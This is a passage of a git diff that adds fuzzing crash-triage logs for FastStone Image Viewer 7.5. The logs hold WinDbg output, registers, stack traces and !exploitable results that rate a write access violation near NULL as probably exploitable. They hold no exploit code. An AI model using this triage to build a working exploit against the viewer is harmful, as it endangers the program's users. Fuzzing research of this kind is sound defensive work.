Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/56801/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/56801/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..bbac301 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/56801/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/56801/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/56801/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..912d663 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/56801/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1C60: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1C60: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c18000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74ba0000 00000000`74bc2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1c60.1ce0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07e47b19 edx=00000000 esi=00000000 edi=09376fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.715714303862129760000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=8.89056e+030 8.9796e+031 0.0112942 1.#QNAN +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f28130 07ea5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00362000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00362000 b5ec9645 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6294 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00362000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/56801/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/56801/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..912d663 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/56801/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1C60: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1C60: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c18000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74ba0000 00000000`74bc2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1c60.1ce0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07e47b19 edx=00000000 esi=00000000 edi=09376fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.715714303862129760000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=8.89056e+030 8.9796e+031 0.0112942 1.#QNAN +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f28130 07ea5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00362000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00362000 b5ec9645 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6294 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00362000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/56801/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/56801/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..bbac301 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/56801/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/57060/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/57060/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/57060/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/57060/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/57060/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..7f9d67e Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/57060/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/57060/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/57060/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..8b0035e --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash 